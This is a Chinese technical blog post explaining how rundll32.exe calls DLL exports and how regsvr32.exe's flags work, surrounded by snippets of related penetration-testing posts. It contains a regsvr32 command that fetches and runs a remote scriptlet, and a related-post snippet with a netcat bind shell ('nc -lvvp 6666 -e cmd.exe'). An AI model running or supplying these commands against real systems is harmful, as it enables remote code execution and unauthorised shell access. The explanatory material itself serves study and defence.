rundll32.exe和regsvr32.exe

【渗透笔记】windows反弹shell方法大全 正向shell: 控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。 反向shell(反弹shell): 被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口 被占用等问题导致被控端不能正常接收发送过来的数据包。 nc nc正向shell 被控端: nc -lvvp 6666 -e cmd.exe 开启监听 控制端: nc 192.168.1.62 6666 此原理就是,被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得sh 阅读详情

众所周知,DLL文件是不能独自运行的,需要被进程加载到其地址空间后才能执行。
那怎么运行一个DLL呢?
答案:可以借助Windows所提供的rundll32.exe或regsvr32.exe。

rundll32.exe

通过rundll32.exe可以直接调用DLL的导出函数来执行功能。
命令行:rundll32.exe DllName,FuncName [Arguments]
但被指定的导出函数有格式要求,导出函数的格式如下,函数参数列表中的pCommand就是通过[Arguments]传入的。

void WINAPI FuncName(HWND hWnd, HINSTANCE hInst, LPCWSTR pCommand, DWORD nCmdShow);

执行流程

其内部通过LoadLibraryEx来加载该DLL,然后通过GetProcAddress来获取导出函数地址并调用,当该导出函数返回时,rundll32会通过FreeLibrary卸载该DLL并通过ExitProcess退出进程。

看着是不是很简单,确实很简单,但涉及到了两个失败。

  1. LoadLibraryEx失败:
    GetLastError获得失败原因,然后MessageBox错误弹窗,最后ExitProcess退出进程。
    在这里插入图片描述
  2. GetProcAddress失败:
    MessageBox错误弹窗,然后FreeLibrary卸载DLL,最后ExitProcess退出进程。
    在这里插入图片描述

注意:MessageBox是有阻塞线程的作用的,关闭弹窗才能继续往下执行。

调试实例

以rundll32.exe "C:\\testDll.dll",DllMain为例,看一下rundll32.exe的执行流程:

  1. 通过LoadLibraryEx加载该DLL,此时会调用DllMain,且第二参数是DLL_PROCESS_ATTACH。
    在这里插入图片描述
  2. 通过GetProcAddress获得指定的导出函数地址。
    在这里插入图片描述获得DllMainW失败后,又获得了DllMainA的地址。
    在这里插入图片描述
  3. 获得导出函数地址失败后,准备错误弹窗。
    首先通过LoadStringW获得资源ID为400的字符串("%s 出错\n丢失条目: %s");
    在这里插入图片描述然后格式化弹窗字符串:
    在这里插入图片描述
    然后通过LoadStringW获得资源ID为0x402的字符串(“RunDLL”);
    在这里插入图片描述
    最后通过MessageBoxW弹窗。
    在这里插入图片描述
    弹窗后,如果不关闭对话框,线程会一直阻塞。
  4. 点击确定后rundll32会通过FreeLibrary卸载该DLL。
  5. 最后rundll32通过ExitProcess结束自身进程。

regsvr32.exe

regsvr32.exe用于注册/卸载COM组件。

COM组件:Component Object Mode,是微软提出的一种软件开发技术。组件其实是一些小的二进制可执行程序,它们可以用于给应用程序、操作系统及其他组件提供服务。COM组件由 以DLL或EXE形式发布的可执行代码 组成。

组件DLL的导出函数列表通常会包含DllRegisterServer和DllUnregisterServer。

  • DllRegisterServer:注册组件,在注册表中登记该DLL;
  • DllUnregisterServer:卸载组件,在注册表中取消该DLL的登记。

先来看一下官方给出的用法(在cmd里输入regsvr32.exe即可)。
在这里插入图片描述
看着有点迷糊,挨个来解释一下:

  • 默认情况下:即regsvr32.exe xxx.dll,此时调用DllRegisterServer来注册该DLL。
  • /u:Unregister,即调用DllUnregisterServer来卸载该DLL。
  • /s:Silent,静默,即不显示任何消息框。
  • /n:No(我猜的),不调用DllRegisterServer或DllUnregisterServer,/n必须和/i一起用。
  • /i:command:有/u时,调用DllInstall(FALSE, [cmdline])来卸载该DLL;没有/u时,调用DllInstall(TRUE, [cmdline])来注册该DLL。

应用场景

可以用regsvr32.exe来运行Scriptlet脚本:regsvr32.exe /s /u /n /i:http://127.0.0.1/file.sct scrobj.dll

该命令会调用scrobj.dll的DllInstall(FALSE, "http://127.0.0.1/file.sct"),此时会去下载file.sct并执行;
而scrobj.dll也不会被登记到注册表中,因为指定了/u。

附上scrobj.dll的导出函数列表:
在这里插入图片描述

内网渗透之Windows反弹shell(综合) 目录 反向shell简介 01什么是正向shell 02什么是反向shell Windows反弹shell 01NC正向shell 01NC反向shell 02mshta.exe 通过Metasoloit的HTA Web Server模块发起HTA攻击 通过msfvenom生成恶意hta文件 03Rundll32.exe 04Reg... 阅读详情

相关推荐

安信可TB蓝牙模组系列 实战Ble Mesh智能照明系统搭建

本文详细介绍了如何使用安信可TB蓝牙模组系列搭建Ble Mesh智能照明系统。从硬件准备、固件烧录到手机APP组网全流程,提供了实战步骤和优化建议,特别适合智能家居开发者入门。Ble Mesh的自组网能力解决了蓝牙传输距离限制,实现全屋灯光智能控制。

weixin_30856725的博客 352

使用rundll32.exe运行dll函数

windows操作系统下,exe文件双击即可执行,而dll文件则不可以。这样的话在调试dll中函数的时候就会很不方便,所以可以借助于额外的启动器。当然这个启动器可以自己实现,但是使用操作系统自带的rundll32.exe就能满足要求。日常使用的控制面板中的一些功能都是通过rundll32.exe来启动的。这样的话,就可以双击rundll.bat文件来运行dll中的入口函数了。下面通过一个DEMO来介绍rundll32.exe的使用方法。可以看到控制台打印的信息。

weixin_38526093的博客 1761

『与善仁』Appium基础 — 19、元素定位工具之UI Automator Viewer

文章目录(一)uiautomatorviewer定位工具1、uiautomatorviewer介绍2、uiautomatorviewer工具打开方式3、uiautomatorviewer布局介绍4、uiautomatorviewer工具的使用 之前我们在做web页面自动化的时候就说过,元素定位是页面自动化的第一步。 同理App自动化测试的第一步,也是元素的定位。 在APP中定位元素的话,需要借助一些元素定位工具。 APP中的元素定位工具大致有三种: uiautomatorviewer Appium Ins

繁华似锦Fighting 1520

WINDOWS系统缺少scrobj.dll文件导致程序异常问题

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个scrobj.dll文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现scrobj.dll丢失要怎么解决?

file 121

别再让PyCharm吃光你的C盘!保姆级教程:安全迁移config、plugins和remote sources到D盘

本文提供了一份详细的PyCharm配置与缓存文件迁移指南,帮助开发者将config、plugins和remote sources等占用大量C盘空间的文件安全转移到D盘。通过修改data.properties文件和正确迁移顺序,确保PyCharm功能不受影响,同时释放宝贵的系统盘空间。

weixin_28836989的博客 423

精密加工零件自动报价智能体设计与实现

摘要 本文设计并实现了一个精密加工零件自动报价智能体系统。该系统通过计算机视觉和几何分析技术,自动读取3D图纸(STEP/STL格式),提取影响加工成本的几何特征,实现精准报价。系统采用模块化设计,包含3D模型解析、特征提取、成本计算和报价生成四个核心模块。关键技术包括:使用PythonOCC处理STEP文件,Trimesh处理STL网格;实现体积、表面积、包围盒等基础几何量计算;开发特征提取算法识别复杂曲面、深孔等加工难点;基于规则库进行可加工性评分和成本估算。相比传统人工报价方式,该系统能显著提高报价效

AI的内部世界的博客 111

启动应用程序出现scrobj.dll找不到问题解决

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个scrobj.dll文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现scrobj.dll丢失要怎么解决?

wbcmbfy的博客 489

一篇文章带你快速入门 MATLAB

文章目录一、认识 MATLAB 界面二、MATLAB 的运行方式三、Matlab 中的窗口1. 命令窗口2. MATLAB的程序编辑窗口3. 工作空间窗口4. 命令历史窗口5. 图形窗口6. 当前目录窗口四、MATLAB的帮助系统1. 帮助命令2. 联机帮助五、其他知识补充1. MATLAB的搜索路径2. 变量命名规则3. M文件命名规则 一、认识 MATLAB 界面 在 MATLAB Desktop 中,工具条取代了菜单和工具栏。应用程序库收纳了 MATLAB 产品系列的应用程序,单一文件应用程序打包为一

南淮北安的博客 5126

教你如何注册DLL或OCX文件

<br />大家注册DLL或OCX的方法应该用Regsvr32.exe,用得多了大家一定会觉得在运行中写一长串东西很是烦人吧!这里我向大家介绍一种麻烦一次方便“一生”的方法。这个方法只要右击你想注册或反注册的OCX或DLL就可以了。它的原理是通过修改注册表使右击OCX或DLL文件时出现注册和反注册的菜单项。<br />下面介绍这个方法<br />注册DLL文件:打开HKEY_CLASSES_ROOR/Dllfile,新建项shell,再其下新建Register。你会发现Register就是右键弹出的菜单名,

特权份子的专栏 1360

SAP自动化-ME51N批量创建采购申请

2、需要管理员授权RZ11脚本录制回放功能。1、仅限于正对SAP日常工作的批量处理。3、数据模板按实际需求更新。物料编码,工厂,数量。

小九啥也不会 529

从入门到精通:Cursor使用全攻略

Cursor是一款基于VSCode深度定制的AI编程工具,由Anysphere公司开发。它将AI技术与代码开发深度融合,能够理解自然语言指令并生成高质量代码,支持代码补全、跨文件上下文理解等功能。本文详细介绍了Cursor的安装设置、界面导航、基本操作和Composer模式等核心功能,并提供了高效提示词写作技巧和实际应用案例(如浏览器插件开发、复杂表单组件构建等)。文章还总结了使用注意事项和常见问题解决方案,展望了AI编程工具的发展前景。Cursor通过智能代码生成和项目理解能力,显著提升了开发效率,适合各

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 6456

regsvr32.exe 与rundll32.exe在批处理中的使用

本人在网上流浪了一下午的所得。先感慨一下。曾经。有一份资料放在我面前。我没有好好的珍惜。等到失去才追悔莫及。查资料时最悲哀的事莫过于此。。。还是讲点实际的吧。在给出这连个命令的解释前。先说下自己的体会。找与程序相关的东西的时候。不要输入什么Rundll32.exe的详解,教程之类。而应该输入Rundll32.exe shell.dll 。这样查处来的有效信息多多了。而且实用。这招满管用的。嘿嘿。。

sfx82的专栏 2801

Apollo Control——超详细入门教程(六):MPC二次规划问题转化

专栏文章列表 Apollo Control——超详细入门教程(一):基于道路误差的车辆动力学模型 Apollo Control——超详细入门教程(二):连续状态空间方程离散化与离散LQR公式推导 Apollo Control——超详细入门教程(三):基于Frenet坐标系及XY坐标系的多项式轨迹生成 Apollo Control——超详细入门教程(四):控制模块轨迹误差计算 Apollo Control——超详细入门教程(五):油门刹车标定表之双线性插值算法 ...

凉了鸭的博客 2233

rundll32.exe的用途

版权声明:优快云是本Blog托管服务提供商。如本文牵涉版权问题,优快云不承担相关责任,请版权拥有者直接与文章作者联系解决。命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启 命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统 命令列: rundll32.exe shell32.dll,Control_Ru

3226

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

regsvr32与rundll32的参数和在批处理中的使用方法详细解释

  还是讲点实际的吧。在给出这连个命令的解释前。先说下自己的体会。找与程序相关的东西的时候。不要输入什么Rundll32.exe的详解,教程之类。而应该输入Rundll32.exe shell.dll 。这样查处来的有效信息多多了。而且实用。这招满管用的。嘿嘿。。。 第一个工具:rundll32.exe 第二个工具:regsvr32.exe --------------------&gt;...

johnsen751的专栏 754

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

渗透测试常用反弹shell方法(如何渗透测试反弹shell)—Windows篇渗透测试!

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。反向反弹: 被控端主动发送请求连接我们的控制端。这种方法是可以想办法避开防火墙和路由的一些限制的!

资深程序员,曾自学JAVA,C#,如今从业于网安行业 1093

内网渗透之Windows反弹shell(二)

目录 Windows反弹shell 03Rundll32.exe 04Regsvr32.exe 05Certutil.exe 内网渗透之Windows反弹shell(三)_不知名白帽的博客-优快云博客 Windows反弹shell 03Rundll32.exe Rundll32.exe与Windows操作系统相关,它允许调用从DLL导...

墨鱼菜鸡 276

机器中毒,横扫rundll32,后果严重

    今天,我的机器可是中毒不浅,杀毒软件不断提示.../local settings/temp 文件夹下有病毒。杀呀杀(中间好像也杀过一个rundll.dll相关的东西),到最后,机器出现了一个大问题。点击所有的应用程序(或者在开始->运行 里输入命令,都弹出打开方式对话框。在IE桌面图标上右键,则提示:“找不到应用程序c:/windows/system32/rundll.exe”。我在网上找

欲穷千里目,更上一层楼 2074

重新注册组件修复IE

将下列命令保存成一个批处理文件并执行rundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%/System32/dacui.dllrundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%/Catroot/icatalog.mdbregsvr32 setupwbv.dllregsvr32 wini

sunxysong的专栏 3119

学习笔记-Windows-LOL

Windows-LOL Living Off The Land 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 相关文章 Get Reverse-shell via Windows one-liner What Are LOLBins and How Do Attackers Use Them in Fileless Atta...

ai agent 307

shell 监听端口_【内网渗透】windows反弹shell方法大全

正向shell:控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。反向shell(反弹shell):被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口 被占用等问题导致被控端不能正常接收发送过来的数据包。ncnc正向shell被控端:nc -lvvp 6666 -e cmd.exe开启监听控制端:nc 192.168.1.62 6666此...

weixin_39594312的博客 1671

渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试

文章目录反弹shell介绍常用反弹方式NetCat(NC)反弹正向NC反向NCmshta.exe利用msf利用模块方法一(msfconsole)方法二(msfvenom)Cobaltstrike利用模块hta攻击源码rundll32.exe利用msf利用模块方法一(msfconsole)方法二(msfvenom)Rundll32加载htaRegsvr32.exe利用msiexec.exe利用powershell脚本绕过杀软混淆处理 反弹shell介绍 反弹shell主要就是让我们能远程连接到目标控制台并且下

寻觅的博客 4367
上一篇: [样本分析] 海莲花CS样本
下一篇: 【数据结构】时间复杂度
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值